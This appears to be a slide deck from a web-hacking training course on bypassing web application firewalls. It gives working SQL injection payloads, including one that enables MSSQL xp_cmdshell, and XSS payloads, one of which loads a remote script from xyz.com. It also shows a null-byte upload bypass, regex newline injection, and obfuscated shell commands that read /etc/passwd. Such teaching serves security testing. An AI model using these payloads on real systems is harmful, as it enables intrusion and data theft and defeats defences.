Advanced Web Hacking

NotSoSecure part of claranet cyber security

WAF Bypassing Techniques

- Web Application Firewall (WAF) are application firewalls for websites which try to detect and prevent web application attacks based on predefined rule sets.

  E.g. The signature blocks attempts to inject <script> tag.

- Attackers can bypass WAFs using various techniques or a combination of techniques which would seem non-malicious to a WAF signature, however is a valid attack on the web application and the backend server.

  E.g. The attacker injects <SCRIPT **X**>alert("XSS2")</SCRIPT>

NotSoSecure part of claranet cyber security

WAF Bypass Techniques

Protocol Level Evasion – Headers, Methods, Cookies and Path Manipulation

- Headers like X-Originating-IP, X-Forwarded-For, X-Remote-IP, X-Remote-Addr could be introduced or modified. It is unusual for a WAF to trust localhost.

```
X-Originating-IP: 127.0.0.1
```

- Content-Type header could be modified or removed
- Content-Disposition Evasion
- Using Transfer-Encoding in place of Content-Length header

```
Transfer-Encoding:

<chunked|compress|deflate|gzip|identity>
```

- Host header manipulation

```
Host: abc.example.com.
```


NotSoSecure part of claranet cyber security

WAF Bypass Techniques

HTTP Parameter Pollution (HPP)

- Following attack is blocked by the WAF

```
https://www.abc.com/?uid=1;select+1,2,3+from+table+where+uid=1--
```

- Following attack bypassed the WAF

```
https://www.abc.com/?uid=1;select+1&uid=2,3+from+table+where+uid=1
--
```

HTTP Parameter Fragmentation (HPF)

- Following attack is blocked by the WAF

```
http://www.abc.com/index.php?uid=1+union+select+1,2/*
```

- Following attack bypassed the WAF

```
https://www.abc.com/index.php?param1=1+union/*&param2=*/select+1,2
```

Reference: http://lists.webappsec.org/pipermail/websecurity_lists.webappsec.org/2009-August/

NotSoSecure part of claranet cyber security

WAF Bypass Techniques

Logical Requests AND/OR

Following attacks bypassed the WAF

`https://www.abc.com/?uid=1+OR+0x14=0x14` (Hexadecimal)

`https://www.abc.com/?uid=1+and+2!=3` (Negation and Inequality)

Replacing SQL Functions / Keywords

Some function keywords may be blocked by the WAF which could be replaced by equivalent functions doing the same task

`https://www.abc.com/?uid=substring((1),1,1)` -> Blocked ☹

`https://www.abc.com/?uid=mid((1),1,1)` -> Bypassed!!! ☺

NotSoSecure part of claranet cyber security

WAF Bypass Techniques

Regular Expression Bypass

- This regex was used to include a file path. Can you spot the problem here?

```
/^[\/a-zA-Z0-9\-\s_]+\.doc$/m
```

Bypass 1:

```
http://www.example.com/abc.php?path=/pathtofile/%0Aid%0A.doc
```

```
/^[\/a-zA-Z0-9\- _]+\.doc$/m
```

Bypass 2:

```
http://www.example.com/abc.php?path=/pathtofile/file.doc%0Aid
```


NotSoSecure part of claranet cyber security

WAF Bypass Techniques

Null Character Injection / Mixed Case / Repeat Keywords / Inline Comments

- File upload function allowed only jpg images but was bypassed with Null Character:

```
Content-Disposition: form-data; name="file";
filename=file.php%00..jpg
```

- Mixed Case / Repeat Words:

```
?name="/><sCri<scRiPt>Pt+src="http://xyz.com/exploit.js"
></sCr</sCriPt>ipT>
```

- One of the multiple inline comment payload used for enabling MSSQL xp_cmdshell:

```
';EXEC/**/sp_configure/**/'xp_cmdshell',/**/1;/**/--
```


NotSoSecure part of claranet cyber security

WAF Bypass Techniques

Encoding Techniques

- URL Encoding

```
%6a%61%76%61%63%72%69%70%74%3a%61%6c%65%72%74%28%31%29 ->
javascript:alert(1)
```

- Double URL Encoding

```
%25%36%61%25%36%31%25%37%36%25%36%31%25%36%33%25%37%32%25%36
%39%25%37%30%25%37%34%25%33%61%25%36%31%25%36%63%25%36%35%25
%37%32%25%37%34%25%32%38%25%33%31%25%32%39 ->
javascript:alert(1)
```

- Unicode

```
<img+src=#+onerror=al\u0065rt(1)> -> 'e' represented in
unicode
```

- HTML Encoding

```
&#x3b;&#x61;&#x6c;&#x65;&#x72;&#x74;&#x28;&#x31;&#x29;&#x3b;
&#x2f;&#x2f;
```


NotSoSecure part of claranet cyber security

WAF Bypass Techniques

Obfuscation and Character Sets

- JavaScript Strings

```
String.fromCharCode(60,115,118,103,47,111,110,108,111,97,100,61,97,108,101
,114,116,40,49,41,62) -> <svg/onload=alert(1)>
```

- Charset XSS - Using different character sets to bypass filters

```
<meta charset="windows-1252"><script>alert(document.charset)</script>
```

- If ‘alert’ is blocked, WAF might not have objection in seeing valid contextual JavaScript!

```
<script>alert(document.domain)</script> could be written as
```

```
<p id="abc"></p>

<script>var x=document.domain;document.getElementById("abc").

innerHTML= x;</script>
```

NotSoSecure part of claranet cyber security

WAF Bypass Techniques

Against Linux Systems

- "?" Wildcard Operator

```
%2f???%2f??t%20%2f???%2fp??s?? -> /bin/cat /etc/passwd
```

- "'" Concatenation

```
/b'i'n/c'a't /e't'c/p'a's's'w'd' -> /bin/cat /etc/passwd
```

- "\" Escape sequence

```
/b\\in/c\\a\\t+/et\\c/pas\\swd -> /bin/cat /etc/passwd
```

- Combining

```
/b??/c'a't /e't'c/pa\\ss\\wd -> /bin/cat /etc/passwd
```

Reference: https://medium.com/secjuice/web-application-firewall-waf-evasion-techniques-2-125995f3e7b0
https://medium.com/secjuice/waf-evasion-techniques-718026d693d8